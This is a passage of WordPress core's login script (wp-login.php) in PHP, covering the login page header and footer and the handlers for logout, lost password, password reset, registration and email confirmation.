$_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); exit; } } /** * Outputs the login page header. * * @since 2.1.0 * * @global string $error Login error message set by deprecated pluggable wp_login() function * or plugins replacing it. * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * @global string $action The action that brought the visitor to the login page. * * @param string|null $title Optional. WordPress login page title to display in the `<title>` element. * Defaults to 'Log In'. * @param string $message Optional. Message to display in header. Default empty. * @param WP_Error|null $wp_error Optional. The error to pass. Defaults to a WP_Error instance. */ function login_header( $title = null, $message = '', $wp_error = null ) { global $error, $interim_login, $action; if ( null === $title ) { $title = __( 'Log In' ); } // Don't index any of these forms. add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); add_action( 'login_head', 'wp_strict_cross_origin_referrer' ); add_action( 'login_head', 'wp_login_viewport_meta' ); if ( ! is_wp_error( $wp_error ) ) { $wp_error = new WP_Error(); } // Shake it! $shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' ); /** * Filters the error codes array for shaking the login form. * * @since 3.0.0 * * @param string[] $shake_error_codes Error codes that shake the login form. */ $shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes ); if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) { add_action( 'login_footer', 'wp_shake_js', 12 ); } $login_title = get_bloginfo( 'name', 'display' ); /* translators: Login screen title. 1: Login screen name, 2: Network or site name. */ $login_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $login_title ); if ( wp_is_recovery_mode() ) { /* translators: %s: Login screen title. */ $login_title = sprintf( __( 'Recovery Mode — %s' ), $login_title ); } /** * Filters the title tag content for login page. * * @since 4.9.0 * * @param string $login_title The page title, with extra context added. * @param string $title The original page title. */ $login_title = apply_filters( 'login_title', $login_title, $title ); ?><!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" /> <title><?php echo $login_title; ?></title> <?php wp_enqueue_style( 'login' ); /* * Remove all stored post data on logging out. * This could be added by add_action('login_head'...) like wp_shake_js(), * but maybe better if it's not removable by plugins. */ if ( 'loggedout' === $wp_error->get_error_code() ) { ob_start(); ?> <script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } /** * Enqueues scripts and styles for the login page. * * @since 3.1.0 */ do_action( 'login_enqueue_scripts' ); /** * Fires in the login page header after scripts are enqueued. * * @since 2.1.0 */ do_action( 'login_head' ); $login_header_url = __( 'https://wordpress.org/' ); /** * Filters link URL of the header logo above login form. * * @since 2.1.0 * * @param string $login_header_url Login header logo URL. */ $login_header_url = apply_filters( 'login_headerurl', $login_header_url ); $login_header_title = ''; /** * Filters the title attribute of the header logo above login form. * * @since 2.1.0 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead. * * @param string $login_header_title Login header logo title attribute. */ $login_header_title = apply_filters_deprecated( 'login_headertitle', array( $login_header_title ), '5.2.0', 'login_headertext', __( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' ) ); $login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title; /** * Filters the link text of the header logo above the login form. * * @since 5.2.0 * * @param string $login_header_text The login header logo link text. */ $login_header_text = apply_filters( 'login_headertext', $login_header_text ); $classes = array( 'login-action-' . $action, 'wp-core-ui' ); if ( is_rtl() ) { $classes[] = 'rtl'; } if ( $interim_login ) { $classes[] = 'interim-login'; ?> <style type="text/css">html{background-color: transparent;}</style> <?php if ( 'success' === $interim_login ) { $classes[] = 'interim-login-success'; } } $classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) ); /** * Filters the login page body classes. * * @since 3.5.0 * * @param string[] $classes An array of body classes. * @param string $action The action that brought the visitor to the login page. */ $classes = apply_filters( 'login_body_class', $classes, $action ); ?> </head> <body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>"> <?php wp_print_inline_script_tag( "document.body.className = document.body.className.replace('no-js','js');" ); ?> <?php /** * Fires in the login page header after the body tag is opened. * * @since 4.6.0 */ do_action( 'login_header' ); ?> <?php if ( 'confirm_admin_email' !== $action && ! empty( $title ) ) : ?> <h1 class="screen-reader-text"><?php echo $title; ?></h1> <?php endif; ?> <div id="login"> <h1 role="presentation" class="wp-login-logo"><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo $login_header_text; ?></a></h1> <?php /** * Filters the message to display above the login form. * * @since 2.1.0 * * @param string $message Login message text. */ $message = apply_filters( 'login_message', $message ); if ( ! empty( $message ) ) { echo $message . "\n"; } // In case a plugin uses $error rather than the $wp_errors object. if ( ! empty( $error ) ) { $wp_error->add( 'error', $error ); unset( $error ); } if ( $wp_error->has_errors() ) { $error_list = array(); $messages = ''; foreach ( $wp_error->get_error_codes() as $code ) { $severity = $wp_error->get_error_data( $code ); foreach ( $wp_error->get_error_messages( $code ) as $error_message ) { if ( 'message' === $severity ) { $messages .= '<p>' . $error_message . '</p>'; } else { $error_list[] = $error_message; } } } if ( ! empty( $error_list ) ) { $errors = ''; if ( count( $error_list ) > 1 ) { $errors .= '<ul class="login-error-list">'; foreach ( $error_list as $item ) { $errors .= '<li>' . $item . '</li>'; } $errors .= '</ul>'; } else { $errors .= '<p>' . $error_list[0] . '</p>'; } /** * Filters the error messages displayed above the login form. * * @since 2.1.0 * * @param string $errors Login error messages. */ $errors = apply_filters( 'login_errors', $errors ); wp_admin_notice( $errors, array( 'type' => 'error', 'id' => 'login_error', 'paragraph_wrap' => false, ) ); } if ( ! empty( $messages ) ) { /** * Filters instructional messages displayed above the login form. * * @since 2.5.0 * * @param string $messages Login messages. */ $messages = apply_filters( 'login_messages', $messages ); wp_admin_notice( $messages, array( 'type' => 'info', 'id' => 'login-message', 'additional_classes' => array( 'message' ), 'paragraph_wrap' => false, ) ); } } } // End of login_header(). /** * Outputs the footer for the login page. * * @since 3.1.0 * * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * * @param string $input_id Which input to auto-focus. */ function login_footer( $input_id = '' ) { global $interim_login; // Don't allow interim logins to navigate away from the page. if ( ! $interim_login ) { ?> <p id="backtoblog"> <?php $html_link = sprintf( '<a href="%s">%s</a>', esc_url( home_url( '/' ) ), sprintf( /* translators: %s: Site title. */ _x( '← Go to %s', 'site' ), get_bloginfo( 'title', 'display' ) ) ); /** * Filters the "Go to site" link displayed in the login page footer. * * @since 5.7.0 * * @param string $link HTML link to the home URL of the current site. */ echo apply_filters( 'login_site_html_link', $html_link ); ?> </p> <?php the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' ); } ?> </div><?php // End of <div id="login">. ?> <?php if ( ! $interim_login && /** * Filters whether to display the Language selector on the login screen. * * @since 5.9.0 * * @param bool $display Whether to display the Language selector on the login screen. */ apply_filters( 'login_display_language_dropdown', true ) ) { $languages = get_available_languages(); if ( ! empty( $languages ) ) { ?> <div class="language-switcher"> <form id="language-switcher" method="get"> <label for="language-switcher-locales"> <span class="dashicons dashicons-translation" aria-hidden="true"></span> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Language' ); ?> </span> </label> <?php $args = array( 'id' => 'language-switcher-locales', 'name' => 'wp_lang', 'selected' => determine_locale(), 'show_available_translations' => false, 'explicit_option_en_us' => true, 'languages' => $languages, ); /** * Filters default arguments for the Languages select input on the login screen. * * The arguments get passed to the wp_dropdown_languages() function. * * @since 5.9.0 * * @param array $args Arguments for the Languages select input on the login screen. */ wp_dropdown_languages( apply_filters( 'login_language_dropdown_args', $args ) ); ?> <?php if ( $interim_login ) { ?> <input type="hidden" name="interim-login" value="1" /> <?php } ?> <?php if ( isset( $_GET['redirect_to'] ) && '' !== $_GET['redirect_to'] ) { ?> <input type="hidden" name="redirect_to" value="<?php echo sanitize_url( $_GET['redirect_to'] ); ?>" /> <?php } ?> <?php if ( isset( $_GET['action'] ) && '' !== $_GET['action'] ) { ?> <input type="hidden" name="action" value="<?php echo esc_attr( $_GET['action'] ); ?>" /> <?php } ?> <input type="submit" class="button" value="<?php esc_attr_e( 'Change' ); ?>"> </form> </div> <?php } ?> <?php } ?> <?php if ( ! empty( $input_id ) ) { ob_start(); ?> <script> try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){} if(typeof wpOnload==='function')wpOnload(); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } /** * Fires in the login page footer. * * @since 3.1.0 */ do_action( 'login_footer' ); ?> </body> </html> <?php } /** * Outputs the JavaScript to handle the form shaking on the login page. * * @since 3.0.0 */ function wp_shake_js() { wp_print_inline_script_tag( "document.querySelector('form').classList.add('shake');" ); } /** * Outputs the viewport meta tag for the login page. * * @since 3.7.0 */ function wp_login_viewport_meta() { ?> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <?php } /* * Main part. * * Check the request and redirect or display a form based on the current action. */ $action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login'; $errors = new WP_Error(); if ( isset( $_GET['key'] ) ) { $action = 'resetpass'; } if ( isset( $_GET['checkemail'] ) ) { $action = 'checkemail'; } $default_actions = array( 'confirm_admin_email', 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'checkemail', 'confirmaction', 'login', WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED, ); // Validate action so as to default to the login screen. if ( ! in_array( $action, $default_actions, true ) && false === has_filter( 'login_form_' . $action ) ) { $action = 'login'; } nocache_headers(); header( 'Content-Type: ' . get_bloginfo( 'html_type' ) . '; charset=' . get_bloginfo( 'charset' ) ); if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set. if ( isset( $_SERVER['PATH_INFO'] ) && ( $_SERVER['PATH_INFO'] !== $_SERVER['PHP_SELF'] ) ) { $_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] ); } $url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) ); if ( get_option( 'siteurl' ) !== $url ) { update_option( 'siteurl', $url ); } } // Set a cookie now to see if they are supported by the browser. $secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) ); setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true ); if ( SITECOOKIEPATH !== COOKIEPATH ) { setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure, true ); } if ( isset( $_GET['wp_lang'] ) ) { setcookie( 'wp_lang', sanitize_text_field( $_GET['wp_lang'] ), 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true ); } /** * Fires when the login form is initialized. * * @since 3.2.0 */ do_action( 'login_init' ); /** * Fires before a specified login form action. * * The dynamic portion of the hook name, `$action`, refers to the action * that brought the visitor to the login form. * * Possible hook names include: * * - `login_form_checkemail` * - `login_form_confirm_admin_email` * - `login_form_confirmaction` * - `login_form_entered_recovery_mode` * - `login_form_login` * - `login_form_logout` * - `login_form_lostpassword` * - `login_form_postpass` * - `login_form_register` * - `login_form_resetpass` * - `login_form_retrievepassword` * - `login_form_rp` * * @since 2.8.0 */ do_action( "login_form_{$action}" ); $http_post = ( 'POST' === $_SERVER['REQUEST_METHOD'] ); $interim_login = isset( $_REQUEST['interim-login'] ); /** * Filters the separator used between login form navigation links. * * @since 4.9.0 * * @param string $login_link_separator The separator used between login form navigation links. */ $login_link_separator = apply_filters( 'login_link_separator', ' | ' ); switch ( $action ) { case 'confirm_admin_email': /* * Note that `is_user_logged_in()` will return false immediately after logging in * as the current user is not set, see wp-includes/pluggable.php. * However this action runs on a redirect after logging in. */ if ( ! is_user_logged_in() ) { wp_safe_redirect( wp_login_url() ); exit; } if ( ! empty( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; } else { $redirect_to = admin_url(); } if ( current_user_can( 'manage_options' ) ) { $admin_email = get_option( 'admin_email' ); } else { wp_safe_redirect( $redirect_to ); exit; } /** * Filters the interval for dismissing the admin email confirmation screen. * * If `0` (zero) is returned, the "Remind me later" link will not be displayed. * * @since 5.3.1 * * @param int $interval Interval time (in seconds). Default is 3 days. */ $remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS ); if ( ! empty( $_GET['remind_me_later'] ) ) { if ( ! wp_verify_nonce( $_GET['remind_me_later'], 'remind_me_later_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } if ( $remind_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $remind_interval ); } $redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to ); wp_safe_redirect( $redirect_to ); exit; } if ( ! empty( $_POST['correct-admin-email'] ) ) { if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } /** * Filters the interval for redirecting the user to the admin email confirmation screen. * * If `0` (zero) is returned, the user will not be redirected. * * @since 5.3.0 * * @param int $interval Interval time (in seconds). Default is 6 months. */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $admin_email_check_interval ); } wp_safe_redirect( $redirect_to ); exit; } login_header( __( 'Confirm your administration email' ), '', $errors ); /** * Fires before the admin email confirm form. * * @since 5.3.0 * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'admin_email_confirm', $errors ); ?> <form class="admin-email-confirm-form" name="admin-email-confirm-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=confirm_admin_email', 'login_post' ) ); ?>" method="post"> <?php /** * Fires inside the admin-email-confirm-form form tags, before the hidden fields. * * @since 5.3.0 */ do_action( 'admin_email_confirm_form' ); wp_nonce_field( 'confirm_admin_email', 'confirm_admin_email_nonce' ); ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <h1 class="admin-email__heading"> <?php _e( 'Administration email verification' ); ?> </h1> <p class="admin-email__details"> <?php _e( 'Please verify that the <strong>administration email</strong> for this website is still correct.' ); ?> <?php /* translators: URL to the WordPress help section about admin email. */ $admin_email_help_url = __( 'https://wordpress.org/documentation/article/settings-general-screen/#email-address' ); $accessibility_text = sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ); printf( '<a href="%s" target="_blank">%s%s</a>', esc_url( $admin_email_help_url ), __( 'Why is this important?' ), $accessibility_text ); ?> </p> <p class="admin-email__details"> <?php printf( /* translators: %s: Admin email address. */ __( 'Current administration email: %s' ), '<strong>' . esc_html( $admin_email ) . '</strong>' ); ?> </p> <p class="admin-email__details"> <?php _e( 'This email may be different from your personal email address.' ); ?> </p> <div class="admin-email__actions"> <div class="admin-email__actions-primary"> <?php $change_link = admin_url( 'options-general.php' ); $change_link = add_query_arg( 'highlight', 'confirm_admin_email', $change_link ); ?> <a class="button button-large" href="<?php echo esc_url( $change_link ); ?>"><?php _e( 'Update' ); ?></a> <input type="submit" name="correct-admin-email" id="correct-admin-email" class="button button-primary button-large" value="<?php esc_attr_e( 'The email is correct' ); ?>" /> </div> <?php if ( $remind_interval > 0 ) : ?> <div class="admin-email__actions-secondary"> <?php $remind_me_link = wp_login_url( $redirect_to ); $remind_me_link = add_query_arg( array( 'action' => 'confirm_admin_email', 'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ), ), $remind_me_link ); ?> <a href="<?php echo esc_url( $remind_me_link ); ?>"><?php _e( 'Remind me later' ); ?></a> </div> <?php endif; ?> </div> </form> <?php login_footer(); break; case 'postpass': $redirect_to = $_POST['redirect_to'] ?? wp_get_referer(); if ( ! isset( $_POST['post_password'] ) || ! is_string( $_POST['post_password'] ) ) { wp_safe_redirect( $redirect_to ); exit; } require_once ABSPATH . WPINC . '/class-phpass.php'; $hasher = new PasswordHash( 8, true ); /** * Filters the life span of the post password cookie. * * By default, the cookie expires 10 days from creation. To turn this * into a session cookie, return 0. * * @since 3.7.0 * * @param int $expires The expiry time, as passed to setcookie(). */ $expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS ); if ( $redirect_to ) { $secure = ( 'https' === parse_url( $redirect_to, PHP_URL_SCHEME ) ); } else { $secure = false; } setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure ); wp_safe_redirect( $redirect_to ); exit; case 'logout': check_admin_referer( 'log-out' ); $user = wp_get_current_user(); wp_logout(); if ( ! empty( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; $requested_redirect_to = $redirect_to; } else { $redirect_to = add_query_arg( array( 'loggedout' => 'true', 'wp_lang' => get_user_locale( $user ), ), wp_login_url() ); $requested_redirect_to = ''; } /** * Filters the log out redirect URL. * * @since 4.2.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User $user The WP_User object for the user that's logging out. */ $redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user ); wp_safe_redirect( $redirect_to ); exit; case 'lostpassword': case 'retrievepassword': if ( $http_post ) { $errors = retrieve_password(); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm'; wp_safe_redirect( $redirect_to ); exit; } } if ( isset( $_GET['error'] ) ) { if ( 'invalidkey' === $_GET['error'] ) { $errors->add( 'invalidkey', __( '<strong>Error:</strong> Your password reset link appears to be invalid. Please request a new link below.' ) ); } elseif ( 'expiredkey' === $_GET['error'] ) { $errors->add( 'expiredkey', __( '<strong>Error:</strong> Your password reset link has expired. Please request a new link below.' ) ); } } $lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the URL redirected to after submitting the lostpassword/retrievepassword form. * * @since 3.0.0 * * @param string $lostpassword_redirect The redirect destination URL. */ $redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect ); /** * Fires before the lost password form. * * @since 1.5.1 * @since 5.1.0 Added the `$errors` parameter. * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'lost_password', $errors ); login_header( __( 'Lost Password' ), wp_get_admin_notice( __( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ), array( 'type' => 'info', 'additional_classes' => array( 'message' ), ) ), $errors ); $user_login = ''; if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } ?> <form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post"> <p> <label for="user_login"><?php _e( 'Username or Email Address' ); ?></label> <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <?php /** * Fires inside the lostpassword form tags, before the hidden fields. * * @since 2.1.0 */ do_action( 'lostpassword_form' ); ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Get New Password' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); echo esc_html( $login_link_separator ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); } ?> </p> <?php login_footer( 'user_login' ); break; case 'resetpass': case 'rp': list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) ); $rp_cookie = 'wp-resetpass-' . COOKIEHASH; if ( isset( $_GET['key'] ) && isset( $_GET['login'] ) ) { $value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) ); setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) ); exit; } if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) { list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 ); $user = check_password_reset_key( $rp_key, $rp_login ); if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) { $user = false; } } else { $user = false; } if ( ! $user || is_wp_error( $user ) ) { setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); if ( $user && $user->get_error_code() === 'expired_key' ) { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) ); } else { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) ); } exit; } $errors = new WP_Error(); // Check if password is one or all empty spaces. if ( ! empty( $_POST['pass1'] ) ) { $_POST['pass1'] = trim( $_POST['pass1'] ); if ( empty( $_POST['pass1'] ) ) { $errors->add( 'password_reset_empty_space', __( 'The password cannot be a space or all spaces.' ) ); } } // Check if password fields do not match. if ( ! empty( $_POST['pass1'] ) && trim( $_POST['pass2'] ) !== $_POST['pass1'] ) { $errors->add( 'password_reset_mismatch', __( '<strong>Error:</strong> The passwords do not match.' ) ); } /** * Fires before the password reset procedure is validated. * * @since 3.5.0 * * @param WP_Error $errors WP Error object. * @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise. */ do_action( 'validate_password_reset', $errors, $user ); if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) { reset_password( $user, $_POST['pass1'] ); setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); login_header( __( 'Password Reset' ), wp_get_admin_notice( __( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a>', array( 'type' => 'info', 'additional_classes' => array( 'message', 'reset-pass' ), ) ) ); login_footer(); exit; } wp_enqueue_script( 'utils' ); wp_enqueue_script( 'user-profile' ); login_header( __( 'Reset Password' ), wp_get_admin_notice( __( 'Enter your new password below or generate one.' ), array( 'type' => 'info', 'additional_classes' => array( 'message', 'reset-pass' ), ) ), $errors ); ?> <form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off"> <input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" /> <div class="user-pass1-wrap"> <p> <label for="pass1"><?php _e( 'New password' ); ?></label> </p> <div class="wp-pwd"> <input type="password" name="pass1" id="pass1" class="input password-input" size="24" value="" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" aria-describedby="pass-strength-result" /> <button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>"> <span class="dashicons dashicons-hidden" aria-hidden="true"></span> </button> <div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div> </div> <div class="pw-weak"> <input type="checkbox" name="pw_weak" id="pw-weak" class="pw-checkbox" /> <label for="pw-weak"><?php _e( 'Confirm use of weak password' ); ?></label> </div> </div> <p class="user-pass2-wrap"> <label for="pass2"><?php _e( 'Confirm new password' ); ?></label> <input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="new-password" spellcheck="false" /> </p> <p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p> <?php /** * Fires following the 'Strength indicator' meter in the user password reset form. * * @since 3.9.0 * * @param WP_User $user User object of the user whose password is being reset. */ do_action( 'resetpass_form', $user ); ?> <input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" /> <p class="submit reset-pass-submit"> <button type="button" class="button wp-generate-pw hide-if-no-js skip-aria-expanded"><?php _e( 'Generate Password' ); ?></button> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Save Password' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); echo esc_html( $login_link_separator ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); } ?> </p> <?php login_footer( 'pass1' ); break; case 'register': if ( is_multisite() ) { /** * Filters the Multisite sign up URL. * * @since 3.0.0 * * @param string $sign_up_url The sign up URL. */ wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) ); exit; } if ( ! get_option( 'users_can_register' ) ) { wp_redirect( site_url( 'wp-login.php?registration=disabled' ) ); exit; } $user_login = ''; $user_email = ''; if ( $http_post ) { if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } if ( isset( $_POST['user_email'] ) && is_string( $_POST['user_email'] ) ) { $user_email = wp_unslash( $_POST['user_email'] ); } $errors = register_new_user( $user_login, $user_email ); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered'; wp_safe_redirect( $redirect_to ); exit; } } $registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the registration redirect URL. * * @since 3.0.0 * @since 5.9.0 Added the `$errors` parameter. * * @param string $registration_redirect The redirect destination URL. * @param int|WP_Error $errors User id if registration was successful, * WP_Error object otherwise. */ $redirect_to = apply_filters( 'registration_redirect', $registration_redirect, $errors ); login_header( __( 'Registration Form' ), wp_get_admin_notice( __( 'Register For This Site' ), array( 'type' => 'info', 'additional_classes' => array( 'message', 'register' ), ) ), $errors ); ?> <form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate"> <p> <label for="user_login"><?php _e( 'Username' ); ?></label> <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <p> <label for="user_email"><?php _e( 'Email' ); ?></label> <input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( $user_email ); ?>" size="25" autocomplete="email" required="required" /> </p> <?php /** * Fires following the 'Email' field in the user registration form. * * @since 2.1.0 */ do_action( 'register_form' ); ?> <p id="reg_passmail"> <?php _e( 'Registration confirmation will be emailed to you.' ); ?> </p> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Register' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php echo esc_html( $login_link_separator ); $html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) ); /** This filter is documented in wp-login.php */ echo apply_filters( 'lost_password_html_link', $html_link ); ?> </p> <?php login_footer( 'user_login' ); break; case 'checkemail': $redirect_to = admin_url(); $errors = new WP_Error(); if ( 'confirm' === $_GET['checkemail'] ) { $errors->add( 'confirm', sprintf( /* translators: %s: Link to the login page. */ __( 'Check your email for the confirmation link, then visit the <a href="%s">login page</a>.' ), wp_login_url() ), 'message' ); } elseif ( 'registered' === $_GET['checkemail'] ) { $errors->add( 'registered', sprintf( /* translators: %s: Link to the login page. */ __( 'Registration complete. Please check your email, then visit the <a href="%s">login page</a>.' ), wp_login_url() ), 'message' ); } /** This action is documented in wp-login.php */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); login_header( __( 'Check your email' ), '', $errors ); login_footer(); break; case 'confirmaction': if ( ! isset( $_GET['request_id'] ) ) { wp_die( __( 'Missing request ID.' ) ); } if ( ! isset( $_GET['confirm_key'] ) ) { wp_die( __( 'Missing confirm key.' ) ); } $request_id = (int) $_GET['request_id']; $key = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) ); $result = wp_validate_user_request_key( $request_id, $key ); if ( is_wp_error( $result ) ) { wp_die( $result ); } /** * Fires an action hook when the account action has been confirmed by the user. * * Using this you can assume the user has agreed to perform the action by * clicking on the link in the confirmation email. * * After firing this action hook the page will redirect to wp-login a callback * redirects or exits first. * * @since 4.9.6 * * @param 